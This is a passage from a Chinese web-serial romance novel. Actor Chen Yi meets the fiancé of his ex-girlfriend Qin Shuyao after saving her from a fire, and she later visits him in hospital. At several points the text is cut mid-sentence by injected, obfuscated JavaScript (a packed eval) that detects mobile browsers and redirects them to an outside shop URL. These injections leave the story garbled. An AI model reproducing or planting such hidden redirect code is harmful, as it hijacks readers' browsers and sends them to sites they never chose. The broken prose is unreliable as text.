她怕像方才在楼道里一样被他拒绝,想关心他,却又不好意思主动露面,就让助理代替自己去送关怀。 秦书窈的助理小夏上岗不过半年,要不是之前的刘姐回家生孩子,这次陪同老板参加卡地亚晚宴的活,也轮不上她来干。 小夏好不容易碰到一个展示自己的机会,没想到就遇上这么多破事,先是老板礼服被人弄脏,后是公馆意外着火,自家老板差点被困,给孩子吓得不轻。 小夏是个老实孩子,担惊受怕一晚上,吓都快被吓死了,哪里还有精力八卦自己老板的私生活,听老板说不认识陈屹,就很自然地相信两人是素昧平生的陌生人,去见陈屹,也只把他当做老板的救命恩人。 她跟着秦书窈见过不少俊男美女,可像陈屹这么帅的,还是头一次。 她来的时候,陈屹正穿着他破败的浴袍坐在沙发上玩手机,即便没对上他的眼睛,他通身散发的矜贵气质还是让小夏望而却步,只能隔着三米远和他打招呼,靠得太近,她怕自己会因为心率过速而失态。 “陈先生,秦总让我来问您身体是不是有不舒服的地方,她看您采访的时候总是皱眉叹气的,就让我来问问您。” 陈屹没有抬头,只是滑动手机屏的手指停了下来:“多谢你家秦总关心,但麻烦你转告她,这种形式主义的关心还是省省吧,真关心为什么不自己过来?” “老板……她可能有别的事要忙,一时赶不过来。” “真的?”陈屹用戏谑地口气问小夏,缓缓抬起头,但目光却冷得吓人。 小夏见了帅哥本来就紧张,被他为难一番之后,更是连话也说不出来,只是一个劲点头:“是真的。” 冤有头债有主,他再怎么生秦书窈的气,也不该把火气撒在她助理身上。 看着女孩快被自己刁难到掉眼泪,陈屹才勉强挤出一丝笑容:“别紧张,我相信你,回去顺便替我谢谢你家秦总。” 小夏连声说着谢谢,衣兜里的手机突然响起,她刚想借着接电话的由头离开,陈屹却指了指自己旁边的单人沙发,示意她可以坐下来慢慢接:“外面太吵了,这间化妆室是温总借给我休息用的,没有别人打扰,你想打多久都可以。” 盛情难却,更何况对方还是个顶级大帅哥。 小夏看着陈屹深邃的双眼,浑身如有细密电流窜过,脑子早被扔到九霄云外,对方说什么就是什么,接起电话小心翼翼在他身旁坐下。 电话刚接起就传来一阵粗狂的男声:“你和你家秦总在一起吗?她现在怎么样,有没有受伤,她的电话怎么打不通?” 一听是未来姑爷周绍明的电话,小夏比见到自家老板还恭敬:“她没事,一点伤都没受。手机可能被落在房间还没拿出来,您别急,您想和她说话的话,我马上去找秦总。” “没事就好,不用叫她了,让她好好休息吧,我半小时后就到。” 电话里的声音不小,陈屹坐在一边也能听得一清二楚。 他后仰靠在沙发上,目光静静停留在自己掌中把玩着的手机上,看起来漫不经心,表情却不似小夏刚进门时那般冷漠,嘴角甚至渐渐扬起:“是周先生吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈屹看着秦书窈使唤人就像吃家常便饭一样自然,薄唇不自觉嚅嗫几下,却没把话说出口,转而笑了笑:“秦小姐,用不着这么麻烦,我和你讲几句话就走。” 秦书窈一脸严肃:“今晚发生的事太多,不能再有人因为着凉而生病了。” 陈屹故意揶揄她:“你这话说得好霸道。” 她听了,一点都不觉得他是在嘲讽,弯眸间露出一丝微笑:“霸道点不是蛮好的,霸道总裁销路很广啊。” 他轻蔑一笑,没做回应。 她敛起笑意:“你是不是觉得女人不应该霸道,霸道是男人才能行使的特权?” 他心虚地摸了摸鼻尖:“这是你自己说的,我可没这么说过。” 秦书窈甚至用不着特意扭头去看,都能猜到他此刻是什么表情,他并不擅长说谎,至少在她面前并不擅长:“嘴上没这么说过,但不妨碍你心里就是这么想的。” 小夏站在一旁,看着两人有来有回聊着天,迟钝如她也隐约觉察出不对劲。 刚认识的两个人,能聊得这么熟吗? 5. 初见周绍明 陈屹有一件事没骗小夏,他跟着过来,的确是为了认识周绍明。 他想看看秦书窈的未婚夫到底是个什么人物,竟能让她抛弃一个貌似自己白月光的极品帅哥,而去选择他。 周先生抵达林公馆的速度,比他在电话里说的还要快,不到半个小时,一辆宾利飞驰就开进公馆后院,稳稳在主楼前停下。 周秦两家虽然是商业联姻,但在娶秦书窈这件事上,他答应得很心甘情愿,抛开两家势力背景不提,单是秦小姐本身的样貌和性格,便都是周先生喜欢的类型。 周绍明一下车就小跑着冲进门,在爱妻面前,全然没有周家继承人该有的落落大方,眼里满满都是对老婆的担心。 小夏的眼睛很尖,宾利一出现在院里就被她瞧见,旋即提醒自家老板,因此周先生刚进门就和来迎接他的秦小姐迎面相遇。 周绍明不顾周围还有媒体,当场就把搂住秦书窈,激动得热泪盈眶,抿着嘴半晌说不出话来。如果不是穿着一身西装革履,显出一点霸总的气派,单从他的神情动作来看,简直和普通丈夫没有任何区别。 秦书窈等他抱够了才轻轻推开他,提醒他周围还有别人,记得注意影响。 没想到她不说还好,一说完反被周先生抱得更紧,他直接把头埋进她肩窝用力蹭蹭,吓得秦书窈边笑边躲。 “媳妇,我一想到差点就要见不到你了,你知道我这一路上心里有多难受吗?” 秦书窈笑着抚摸他的脸颊,低声哄道:“好了,别人还看着呢。” “他们愿意看,就让他们好好看着,比起上新闻,我更害怕失去这样抱着你的机会。” 周绍明是标准的北方壮汉,和他站在一起,167的秦书窈都显得娇小无比。他一边抱着一边埋怀,从背面看,竟然看不到秦书窈半点影子,他宽广的后背把她挡得严严实实。 秦周两家联姻是公开的秘密,虽然还没办婚礼,但对外而言和结了婚没有两样,两人的亲密举动自然不怕被媒体拍到,只是秦书窈一想到背后还站着陈屹就心虚不已,尴尬笑着把周绍明强行推开。 周绍明搂着秦书窈的手刚松开,便很自然地牵上她的手,两人老夫老妻般的举动,惹得周遭看热闹的人一阵起哄,让秦书窈很不自在,娇嗔着让他别闹。 站在不远处的陈屹将这一切都看在眼里。 他穿着秦书窈叫人拿来的西装,抱起双臂斜靠在酒柜上,默默看着被众人起哄的一对璧人,心里很不是滋味。 他以为周绍明是个又矮又丑的男人,和自己相比,简直没个人样,没想到对方虽然颜值比不上自己,188的身高却比他还高三公分,宽肩窄腰的倒三角身材简直能去当西装模特。 最让陈屹难受的,是周绍明和秦书窈站在一起,两人身上散发出的高贵且野心勃勃的气质,竟让他们俩有几分夫妻相,看着十分登对。 站在两人之间,他才像那个第三者。 他似乎不是像,而是,就是第三者…… 愣神的陈屹足足被人叫了五六遍,才回过神来,看清是周绍明向自己招手。 他努力平稳心情,可等当真一步步走向周绍明,对方与生俱来的霸道气势,还是让他心里由不住有些忐忑。 他畏惧的不是周绍明背后的资本,他只是畏惧自己前女友的现男友。 周绍明主动和他握手,态度很是友善:“听说是您挺身而出,从火海里把书窈救了出来,真是太谢谢你了。” “这是我的名片,上面有我办公室的联系方式,如果有任何需要我的地方,随时联系我,你对书窈的恩情,我一辈子都记得。”周绍明说着就叫助理把名片送过来,很是尊敬地亲自接来名片,才又递给他。 陈屹拿着名片愣在原地。 明明是被人抬举,他却感觉脸颊火辣辣的,像被人恶狠狠扇了两巴掌。 他救秦书窈的动机本就不纯粹,来见周绍明的动机更不单纯,到最后,竟然还被人发了一张大大的好人卡,夸他是见义勇为的道德楷模。 受人吹捧一番,陈屹哪里还有脸挑衅秦书窈的正宫老公,只能接过名片微笑回应:“这都是我应该做的,谁碰上这种事,都会出把力帮帮忙的。” 周绍明却摇摇头:“现在风气可不如从前,人心薄凉不少,像你这种路见不平拔刀相助的好人,真是太少了。” 周绍明越夸他,就越让他感到汗颜,尤其一想起自己前半夜还把人家未婚妻带进自己房间,堂而皇之搂搂抱抱,他就连多看他一眼的勇气也没有了。 他只想逃。 然而周绍明不仅没看出陈屹和自己未婚妻的特殊关系,临走时还嘱咐秦书窈亲自送他回去,安排在场当中最心虚的两个人一块离去。 三楼的火早已熄灭,除了秦书窈的房间,其他房间几乎没什么影响,仍可入住。 秦书窈硬着头皮把陈屹送回房间,进门前,她还在思考要不要和陈屹解释联姻的事,不料对方先开口:“看见你和周先生这么恩爱,我就放心了。” 秦书窈急得脱口而出:“不是你想的那样,我和他只是商业联姻,我其实不喜欢……” “不喜欢他吗?还是不喜欢我。”陈屹笑着和她晃晃手里的名片,又当着她的面撕碎扔进垃圾桶,“其实你用不着和我解释这些,我不在乎。就像你说过的,我就是个骗子,我从始至终都没喜欢过你,以前能答应和你在一起,只是因为我太心软,耐不住你的死缠烂打。” 秦书窈觉得陈屹有些奇怪,他要真像他说的那么不在意她,眼下这又是在做什么? 周绍明,周氏集团执行总裁,是多少人遥不可攀的存在,能结识这样一位朋友有什么不好的,为什么非要撕了他给的名片? 她到底还是爱他的,见不得他生一点气,也不想让他怀疑自己吃着碗里瞧着锅里,一边和周绍明谈恋爱,一边又不拒绝他的撩拨。她本想把联姻的事解释完就走,但看时下的情况,恐怕得多费点口舌才行。 “少犯浑,你想听什么,我今天一口气和你说个明白。”她从他的裤兜里摸出房卡,强行打开房门,把人推搡回他房间。 她一进门就把所有灯都打开,免得这人再借着夜色朦胧撩拨她。 她义正辞严地说:“陈屹,我不喜欢他,我对他一点感情都没有,可我的婚姻不是单靠感情就能左右的,我还得考虑我的事业和我们家族的发展。如果我可以抛开事业只考虑感情,我绝不可能选择他,但我不是靠感情活下去的女人,事业才是我的全部,请你以后不要再拿单纯的男女关系来评判我和他,好吗?” 听完她的话,他稍稍冷静了一些,至少没有急着把她轰出去。 她从自己包里重新找出一张周绍明的名片,放在玄关柜上:“既然他说要和你交朋友,你就答应了吧,这对你又没什么坏处,没必要因为情绪上头拒绝他,他这个人对朋友还是很仗义的,你和他相处之后就知道,说不准以后能在哪里帮到你。” 她的举止言辞优雅到了极点,简直滴水不漏,可陈屹看了却只想笑。 假如他从没见过她不体面的样子,他或许真能被她骗过去,以为她生性就是如此优雅高贵。 但他偏偏亲眼见过。 她陪他坐地铁去赶组面试的时候,她陪他在出租屋里煮泡面的时候,她和他挤在一张小床上,对着偶像剧开怀大笑的时候……都不是现在这副模样! 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816531|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的她会抱怨,会哭泣,会大笑,十分鲜活。 他拿起她刚放下的名片,目光扫过上面写着的“周绍明”三个字,不禁自嘲似的笑了笑:“你说,你这算不算在拿自己的未婚夫当礼物,还自己老情人的人情?” 他这话有点太实在了,实在得格外刺耳,秦书窈的神情渐渐凝重,显得很不自然:“随你怎么想都行。” 她撂下这冷冰冰的话打算脱身离去,但她刚转身,就被人自身后一把搂住。 他的力气很大,比刚刚在大厅里、周绍明抱着她的力气还要大几分,勒得她肋骨发疼。 她不耐烦地用手肘戳他胸口,试图用反抗的动作暗示他放手,他却对她的拒绝熟视无睹。 他没说一句话,只是俯身亲吻她最敏感的耳后肌肤,从她的耳根一路吻到她的脖颈。 她和过去一样敏感,被他轻轻一吻就轻轻发颤。 他试着去解她的衣扣,将她衬衣领口拽下肩头,用自己还未刮去的胡茬的磨蹭她的锁骨,呼出的热息也扫过她肩颈。 果然,和他料想的一样,她的呼吸声顿时急促起来。 他想,他还是了解她的。 裴奕然和她只是少年时的青梅竹马,两人应该没做过什么过分举动,而周绍明看似是她的未婚夫,抱她的时候,她的身体却会不自觉躲闪。 唯独他是特别的,他拥有过她的全部! 他心跳飞快加速,热血骤然涌上头顶……和全身。 因为看到周绍明和她亲密时产生的消极情绪也一扫而光。 她不知道他在想什么,只感觉到他突然抱住自己,又突然和自己亲热,等把自己撩得神魂颠倒、全身发软,他的动作却停了下来。 上一秒,她还在心里纠结要不要喊停,这么发展下去,恐怕今晚会覆水难收,结果下一秒他的吻就停止了…… 他扶她站稳,就像变了个人,神情冷漠地对着她说,夜深了,周先生还在楼下等她,她应该早点回去陪该陪的人。 秦书窈本就头晕发软,脑子还没一桶浆糊清楚,除了能看出他不想继续下去,完全搞不懂他在想什么,可既然人家下了逐客令,她也没继续纠缠的道理,目光灰暗下去转身走了。 她刚走,他被兴奋充满的心房瞬间又变得空荡荡,方才经历过的热血沸腾,好像一场不存在的春梦。 他也不知道自己这是怎么了。 明明不爱她,为什么还在乎她心里究竟有没有自己。 或许是因为,他的第一次是她的,迄今为止的最后一次也是她的。 他不是个随便的男人,就连和其他女演员拍吻戏都很痛苦,甚至有时候,眼前还会浮现她的影子……让他没办法正常拍亲热戏,更没办法和其他异性暧昧恋爱。 就这样,他被迫为她守身如玉了整整五年。 可他还是觉得自己没爱过她。 他应该找一个像他母亲一样温柔如水的古典美人,长相大气又明媚,性格温柔又坚韧,笑起来像春风,哭起来又让人心疼。 而不是像秦书窈这样一朵带刺的玫瑰。 他努力把她从脑海里消除,一回头,看见她走之前放在玄关柜上的名片,叹口气随手拿了起来。 名片是很低调的灰色雾面纸,可周绍明的名字本身就比黄金更奢华、比钻石更璀璨,这三个字就算写在手纸上也足够有分量。 他回想着秦书窈走之前说过的话—— 周绍明对朋友还是很仗义的。 没准什么时候能用到他。 这对你又没什么坏处。 …… 他的心头像被短针细密扎过,每一下虽不是钻心的疼,但痛得很绵长。 6. 火灾之后 周绍明目送秦书窈和陈屹离去,便转身前往会议室,他要亲耳听晚宴负责人怎么交代这场火灾的发生原因。 他一边脱下大衣,一边和助理交代:“替我查查这小子的来历,他怎么和裴奕然长得那么像?” 助理愣了愣,问了个没什么眼力见的问题:“既然他和裴先生长得像,您……为什么还让秦总送他离开?” 周总轻蔑地扬起嘴角,冷冷瞥了助理一眼:“老子犯得着和个戏子争风吃醋吗?今天给足他面子,以后让他再没办法出现在她面前就是了。” * 折腾了一夜,陈屹刚打算洗漱睡觉,就见经纪人凯丽姐的电话追了过来,一口气打了五个,逼得他非接不可。 透过电话都能听出凯丽姐的怒气:“陈屹,我不说了让你别招惹秦书窈吗?” 他躺在床上揉着头发,想了好一会儿也没想明白,到底是谁走漏了风声,居然能让凯丽这么快知道这里发生了什么。 难不成是主办方为了调查火灾,把三楼的监控也曝光出去了? 他虽然嘴硬着不肯承认,可到底是有点心虚:“你听谁说的,我可没招惹她。” “死鸭子嘴硬,你没招惹秦总,她老公怎么找人打听你?” 听到和秦书窈老公有关,陈屹猛地从床上坐起来:“周绍明打听我做什么?” “我可什么都不知道。”凯丽姐话说得阴阳怪气的。 “这都什么时候了,还跟我卖关子,听你说话这口气……你肯定知道!” “看把你精得,你这么聪明,怎么能被人家抓住把柄?刚刚我一个做媒体的朋友告诉我,他助理正满世界打听你的消息,打算全网封杀你,让你没办法再出现在人家未婚妻面前。”凯丽姐也是看热闹不嫌事大的人,事情这么严重,她竟然也能笑得出来,“你是不是和秦书窈亲嘴被他撞见了?” 陈屹本来慌得要死,听完凯丽的话,忐忑不安的心居然平静了下来。 如果周绍明真的看到三楼的监控录像,他大可当下就闯进他的房间当面质问他,用不着让助理四处打听消息,搞得这么大费周折,既然他这么做了,说明他只是介意他的出现,并没有产生实质性的怀疑…… 能造成这样的局面,唯有一种可能。 周绍明也认识裴奕然。 捋顺了一切,陈屹说话也多了些底气:“我是演员,不是男模,没有陪富婆亲热的义务,以后能不能别开我这种玩笑,听着真别扭。” 凯丽总算正经起来:“我这不听说你专门调查秦总资料,还以为你对她格外感兴趣,才打趣打趣你,你这朵铁树开一次花可不容易,这还是我认识你以来,头一次听说你对哪个女生上心。不过,我还是那个话,人家是有未婚夫的人,你办事干脆利落一点,要玩也别让人发现,更别把自己玩进去。” 凯丽向来看人很准,不知道今天怎么这么眼瞎,眼瞎到觉得他喜欢秦书窈。 陈屹听完凯丽的一番长篇大论,差点破防:“我再说一遍,我不喜欢她,我也不想和她有一腿,您不用跟我提醒这些,你说的那些事压根不可能发生!” “我就那么一说,你上什么火,说话还用上‘您’了?” 他也意识到自己有些失态,捏着眉心平复心情:“被自家经纪人造黄谣,我能不上火吗?好了,你要说什么继续吧。” “我没造你黄谣,你想多了,我就是提醒一下你。刚说哪儿了……哦,别把自己玩进去……只要你和她没关系,其他的事你也不用太担心,周家虽然势力不小,但他们家是做实业的,不怎么掺和娱乐圈的事。他想封杀谁就封杀?呵,也不看看你是谁罩的。” 陈屹静静听着凯丽的话,原本的担忧一扫而空,反倒开始怀疑这大姐是不是晚上喝多了,找不到说话的人才给他打电话,除了耐心安抚她几句,还叮嘱她早点休息,挺大岁数的人,别一到周末就出去蹦迪喝酒。 陈屹挂了电话就安心睡了,但今夜,注定有人要难眠。 秦书窈离开陈屹房间后,第一时间找到温岚,让她找个机会把三楼的监控录像都删除,免得被有心之人利用。 温岚平时是毒舌了一些,可办事还是很有谱的,尤其是在这种关乎秦书窈名声的大事上,不仅没盘问具体情况,还保证在半小时内就能办妥。 秦书窈从来没觉得温岚这人有多好,今天晚上她的一番作为,让秦书窈感动得差点泪洒当场。 陈屹靠不住,周绍明更靠不住,最靠谱的还得是温岚。 可她不能哭,她还得打起精神去安抚周绍明。 周绍明正在会议室里和主办方争吵,声音大到她还没进门就能听见他的声音。 他在质问官方为什么在第一时间发现火灾,能让本在二楼发生的火灾烧到三楼。 她认识周绍明有半年,他素来话少,不管是开会还是应酬,再或者是家庭聚会,他几乎都是静静坐着听别人说话,等到最后再做会议总结的那一位,像今天这样和别人高声言语,还是她头一次见识。 她能感觉到,周绍明不是为了立爱妻人设,而是真的担心她,他抱着她时说出的那句,他怕再也见不到她,也是真心话。 他和她年龄相仿,家世相当,样貌也算上乘。 如果从没认识陈屹,周绍明或许也能算得上她的良配。 可惜人生没有如果。 她推门而入,径直走到周绍明身边,轻柔抚摸着他的肩膀:“我这不也没出什么事嘛,消消气,和人家有话好好说。” 他抬手拍拍她手背:“与你无关,你累了一天又受了惊吓,先回去休息吧,把这里交给我。” 秦书窈表面上流露出被周绍明的关心所感动的样子,心底里却暗自嘀咕,如果让她把这里的一切都交给温岚,她是放心的,但都交给他,她还真放心不下——她怕他从哪个犄角旮旯的录像里,看见她和陈屹的亲密互动,那她张着十张嘴恐怕都解释不清。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816532|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在秦书窈的安抚下,周绍明的情绪渐渐平静下来,可言辞仍旧严厉,他不听主办方给出的解释,执意要自己亲眼看到火灾发生前后的监控录像才行。 一听到监控录像四个字,秦书窈的后背瞬间只冒冷汗,虽然火灾是她和陈屹第一次回房后两个小时才发生的事,可他万一为了分析嫌犯,非要看此前和此后的所有视频…… 秦书窈不敢细想,越想越心慌,而心虚这种东西,一旦超过一定阈值,就算再擅长表演的人也会露出马脚,想让自己立于不败之地,只能强迫自己忘记,从潜意识里认为自己从没做错。 在等待从监控室里拷贝视频的过程中,她已调理好自己的情绪,做好面对最坏结果、且概不认账的打算,没成想,去拷贝视频的人很快就回来了,气喘吁吁说有人清空了监控记录。 秦书窈松了口气,在心里暗暗给温岚叫了声好,转而和周绍明一块站上道德高地,痛骂主办方管理不当。 没骂多久,她就困得头晕眼花,想尽快结束这场闹剧,毕竟在这场火灾里,她也没有真正损失什么,充其量就是搭进去了一些和陈屹的人情——这也不算什么,毕竟她和他互相亏欠的感情早就算不清了。 她已经尽可能帮着周绍明说话,只是站在他立场的同时,也把他往和谈的方向劝,没想到在被他嗅到劝和的意味之后,周总立马变了脸色,不再一味顺着她说话:“书窈,你说让我不要计较是什么意思?” “就是字面意思嘛。”她用温柔地、像哄小孩的口气说。 “今天差点有生命危险的人是你,我是处于关心你才要替你讨个公道,你是我周绍明的未婚妻,你可以不在乎自己的生命,我不能允许有人侵犯你的安全。那种劝和的话别再说了,我不想听,太妇人之仁。” 周绍明的语气并不严厉,可一句妇人之仁却像一根针扎进秦书窈的痛觉神经。 她的脸上仍旧挂着微笑,表情没有丝毫改变,甚至连一句反驳的话也没说,安静了半分钟,独自消化好所有负面情绪,走上前,甚至还替周绍明整了整西装外套。 她贴到他耳旁轻声说:“我累了一天,实在熬不住了,说话都有点不过大脑,刚刚都是无心之言,你别往心里去。我先去睡了,这里交给你,我放心。” 秦书窈温言细语几句便哄好了周绍明,所以等她真要离开会议室的时候,他还特意将她送到门口,看着她走远才恋恋不舍折回去。 然而秦书窈的脸色在他离开的瞬间就垮了下来,变得阴沉无比。 妇人之仁…… 他自己明明就是个小头控制大头的老莽夫,也有脸骂她是妇人之仁。 秦书窈本来因为陈屹的事,对周绍明心有内疚,这一闹,倒是使她心里的愧疚荡然无存。 如果光看对她的态度,还是陈屹更好一些,他好歹知道尊重她的人格和感受,不像周绍明——就算他在她面前已极力展示温柔的一面,偶尔真情流露,还是会暴露本来面目。 7. 探病 秦书窈一觉睡到十点,等她醒来,陈屹和周绍明都已离开。 周绍明因为在宁波的生意还没谈完,天不亮就走了。陈屹走得也很早,听说房间已经腾空,看样子不会再回来。 这些消息,显然不是秦书窈自己八卦来的,而是吃早饭时小夏告诉她的。 除了八卦新闻,小夏还给她送来一套手工茶杯,是一对刚好能拼起来的爱心形状。 不用问她都知道是谁送的,因为这套杯子是她和陈屹谈恋爱的短短几个月当中,他送给她的唯一一件礼物。 虽然长得丑,却是他自己动手做的。 当时说好他们一人一只,她用黑色的,他用粉色的。 分手的时候走得急,她只带走了重要证件,剩下的东西什么都没拿,其中也包括那只属于她的黑色水杯。 她瞧了一眼就让小夏拿下去了,用筷子夹起勺里剩下的蟹黄包,边吃边腹诽他。她给其他嘉宾送的伴手礼是特供的贵妇面霜套装,没想到某些人还回来的礼物,居然是两只已经用过的水杯。 真是寒碜。 纵使她在心里极力贬低他,可还是忍不住会胡思乱想。 他怎么在外出差还随身携带这两只水杯,难道是这五年来一直都在用? 他不是因为心软才答应和她在一起的吗,怎么她人都走了,他还独自表演这种耿耿于怀、难忘深情的戏码? 她觉察出自己潜意识里的念头都在向着他说话,便连忙止住幻想,笃定地警告自己,少臆想这世界上还有像裴奕然那样温柔专一的男孩,陈屹和他只不过是长得有些许相似罢了。 没准陈屹一早就知道她的身份,更知道她昨晚会出现,所以提前把这种会勾起她回忆的东西准备好,只等她一出现,就拿旧时的感情捆绑她的手脚,侵吞她的资源,霸占她的家业…… 小夏送完杯子回来,她已经说服自己,把成功把陈屹这页翻了过去,继续不慌不忙舀粥送进嘴里,优雅地享用早餐。 但小夏刚回来,就又告诉她一些传闻:“听说陈老师是去医院换药了,这么看,他昨天受的伤好像还挺严重的。真是的……昨天在现场也没仔细看看,不知道有没有烧到脸,演员可是靠脸吃饭的,要是……” “哎!老板你去哪儿,不吃饭了吗?” 小夏的话还没说完,秦书窈就撂下筷子起身走了。 她看着莫名其妙走去更衣间的老板,一脸懵:“你是要换衣服吗?” 身为生活助理,老板的造型穿搭也是她工作的一部分,如果要出门,秦书窈一般都会提前和她确定今天的造型,而今天的穿搭一直还没来得及确定,小夏便很自然地认为老板可能下半晌才会出门,所以看到老板饭都没吃完就要走很是惊奇。 按照职业操守,小夏应该跟去更衣室看看,可她看着满桌还没被动过几筷的珍馐,心里一阵难受:“老板,这早餐你还吃吗?” 没过多久,秦书窈就换好衣服走了出来,站在穿衣镜前,用手指简单梳拢长发顺手扎起:“我不吃了,你想吃的话,剩下的都归你。” 小夏听了两眼放光,用老板使过的筷子的另一端夹起蟹黄汤包直接塞进嘴里,在心里盘算着秦书窈梳妆的速度,打算在老板出门之前,就把整桌快速包圆。 秦书窈像看出她的心思:“别着急,你慢慢吃,房卡我留给在这里,你不想回自己房间,可以在我这里待着,今天你自由活动,不用跟着我。” 秦书窈甚至没来得及化妆,扎起头发提包就走。 对小夏来说,能拿着工资不干活,躺在古董建筑最豪华的房间里度过一天,幸福得简直像在做梦,所以就算秦书窈对某人的偏爱可以用明晃晃来形容,小夏还是等她走了好一会儿,才渐渐回过味来。 她一边品着南美运来的瑰夏咖啡,一边琢磨。 老板刚刚连话都没听完就走了,肯定是急着去见陈屹,可是,去探望自己的救命恩人,还用得着支开助理吗? 不对劲,很不对劲…… 不等小夏细细琢磨,她的手机屏幕因为新收到的讯息亮起,是秦书窈发来的消息: 今天的事,不要告诉任何人。 * 在上海,秦书窈想找到任何人都很容易。 只要她想。 陈屹去换药的私立医院是她表舅妈开的,虽然算不上至亲,但给她开个后门、放她进特需医疗部,帮她办这点小事还是没问题的。 特需部的吴主任带着她走医护通道,不仅比从正门走快捷不少,还省得她被路人拍到。 上到住院部,吴主任把她送进门口,就很识趣地离开了,秦书窈想起自己走得着急,连妆都没化,就先去了卫生间。 陈屹的病房刚好就离卫生间不远,房门大敞着,屋里的两个人在说什么,站在门外都能听见。 病房里传来女人的感叹声:“我的老天爷,你怎么把自己弄成这样,你电话里不是说就烧焦了几根头发,没什么大事?” “确实没什么大事,都是皮外伤,而且又没伤到脸,不耽误上镜。” “你都快被包成粽子了,还说没事?那下周那个沙滩红毯怎么办。” “和正常一样,穿西装。” “别人秀身材,就你裹得严严实实的,你小子跟我老实交代,是不是因为不想露肉,昨天才故意把自己搞成这样的?” 陈屹尴尬地咳嗽一声,没做回应。 后面的对话秦书窈就听不清了,因为房门被人关上,两人说话的声音也刻意减小许多。 她快速打了底妆、涂了口红就走去陈屹房门口。 她倒不是为了急着见他,只是好奇他们俩在说什么。 她悄悄把门推开一道细缝,隔着门缝瞄见陈屹床边站着个女人,大概是他的经纪人凯丽。 凯丽是个气场很强的东北女人,说话办事主打一个干脆利落:“那么大一场晚宴,光保安就几百个,就算要救人,你就不能打电话让别人来救吗,为什么非得亲自冲进去救她?你最好是因为救人心切才没顾得上考虑别的,而不是故意把自己弄成这副惨兮兮的样子,为博某些人的同情。” “陈屹,昨天晚上我是喝了点酒,但我和你说的话绝对不是醉话,一字一句你都得掂量清楚。昨天幸好没伤到脸,要是伤到,你有没有想过后果?你能走到今天也不容易,得学会爱惜羽毛,周绍明找人打听你的事,虽然不打紧,可你也该提高警惕,总不能等人家真要搞死你,你才知道害怕吧?” 她听完凯丽的话,脑子嗡一下炸开,再也听不进去别的。 周绍明找人打听陈屹。 他要搞他? 她想破脑袋都想不通,她到底忽略了什么,才让周绍明对陈屹起了疑,明明就连监控录像都删干净了。 慌乱中,她不小心推了把房门,房门轻而易举就被打开,将本来躲在门后的她展示在两人面前。 秦书窈连忙起身,装出自己是刚好路过的样子,尴尬笑道:“好巧,你也来这儿看病啊。那什么……我朋友在隔壁住院,我过来看看他,路过听见这间屋里说话的声音有点耳熟,就过来看看。没打扰到你们吧?” 凯丽的脸色并没有比秦书窈好看到哪里去,毕竟她和陈屹刚刚聊的话题敏感至极:“秦总,您是什么时候来的?” “就刚刚。”秦书窈连忙走进来,重新把房门严严实实关上,“其实也没听到什么,就是你们关门前说的话。这家医院病房的隔音做得很好,关上门说话,外面什么都听不见。” 凯丽半信半疑看着胡说八道的她。 和剑拔弩张的两个女人不一样,躺在床上的陈屹却还有闲心思说笑,指着秦书窈的眉毛说有一半画歪了。 凯丽到底是自己人,和外面的记者们不一样,陈屹觉得,有必要让她多知道一些内幕:“丽姐,你别那么看着她,就算她一直在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816533|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面偷听也没什么,其实我和她之前就认识。” 秦书窈和凯丽同时被他的话吸引,满眼震惊看向他。 他只微微一笑:“五年前,我拍《夜杀》的时候,我们俩就认识了。她和朋友来探男主的班,结果在片场迷路了,没找到保安只找到了我,让我送她出去。” 陈屹说的也都是实情,只是模糊掉了一些关键剧情,就把秦书窈假装迷路偶遇他的故事,变成了一场自然发生的相遇。 凯丽追问:“那你昨天怎么还装不熟?” 陈屹故作无奈:“这不是秦总当年也没和我说实话,我一直把她当成一个普通粉丝、普通朋友,没想到秦总这么深藏不露,我在无意中认识的粉丝,竟然是国内首屈一指的大富婆,我不好意思蹭秦总的流量,就只能装不熟了。” 陈屹见凯丽渐渐信了,便叹口气继续说:“我知道昨晚可以叫其他人帮忙,但我不能眼睁睁看着从我还是个小演员就开始支持我的粉丝困在火海里,自己却袖手旁观,要真那么做了,我的良心会不安的。” 站在一旁的秦书窈看着陈屹面不改色说出这番话,一时间听呆了眼。 她本来还在担心,他是不是要抖落他们俩之间的破事,以此来要挟她,没想到他三言两语就把他们俩的关系合理化了。 朋友…… 对,只是朋友。 